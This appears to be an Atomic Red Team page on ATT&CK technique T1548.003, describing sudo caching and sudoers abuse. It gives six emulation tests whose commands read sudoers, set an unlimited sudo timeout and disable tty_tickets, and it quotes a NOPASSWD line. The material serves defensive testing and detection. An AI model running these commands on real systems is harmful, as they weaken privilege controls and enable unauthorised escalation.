T1548.003
Abuse Elevation Control Mechanism: Sudo and Sudo Caching
Description from ATT&CK
Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.
Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.
In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.
Atomic Tests
Atomic Test #1 - Sudo usage
Common Sudo enumeration methods.
Supported Platforms: macos,linux
auto_generated_guid: 150c3a08-ee6e-48a6-aeaf-3659d24ceb4e
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
1
2
3
4
sudo -l
sudo cat /etc/sudoers
sudo vim /etc/sudoers
Atomic Test #2 - Sudo usage (freebsd)
Common Sudo enumeration methods.
Supported Platforms: freebsd
auto_generated_guid: 2bf9a018-4664-438a-b435-cc6f8c6f71b1
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
1
2
3
4
sudo -l
sudo cat /usr/local/etc/sudoers
sudo ee /usr/local/etc/sudoers
Dependencies: Run with sh!
Description: Check if sudo is installed.
Check Prereq Commands:
1
2
if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit 0; fi;
Get Prereq Commands:
1
2
(which pkg && pkg install -y sudo)
Atomic Test #3 - Unlimited sudo cache timeout
Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.
Supported Platforms: macos,linux
auto_generated_guid: a7b17659-dd5e-46f7-b7d1-e6792c91d0bc
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
1
2
3
sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers
sudo visudo -c -f /etc/sudoers
Atomic Test #4 - Unlimited sudo cache timeout (freebsd)
Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.
Supported Platforms: freebsd
auto_generated_guid: a83ad6e8-6f24-4d7f-8f44-75f8ab742991
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
1
2
3
sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers
sudo visudo -c -f /usr/local/etc/sudoers
Dependencies: Run with sh!
Description: Check if sudo is installed.
Check Prereq Commands:
1
2
if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit 0; fi;
Get Prereq Commands:
1
2
(which pkg && pkg install -y sudo)
Atomic Test #5 - Disable tty_tickets for sudo caching
Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.
Supported Platforms: macos,linux
auto_generated_guid: 91a60b03-fb75-4d24-a42e-2eb8956e8de1
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
1
2
3
sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers"
sudo visudo -c -f /etc/sudoers
Atomic Test #6 - Disable tty_tickets for sudo caching (freebsd)
Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.
Supported Platforms: freebsd
auto_generated_guid: 4df6a0fe-2bdd-4be8-8618-a6a19654a57a
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
1
2
3
sudo sh -c "echo Defaults "'!'"tty_tickets >> /usr/local/etc/sudoers"
sudo visudo -c -f /usr/local/etc/sudoers
Dependencies: Run with sh!
Description: Check if sudo is installed.
Check Prereq Commands:
1
2
if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit 0; fi;
Get Prereq Commands:
1
2
(which pkg && pkg install -y sudo)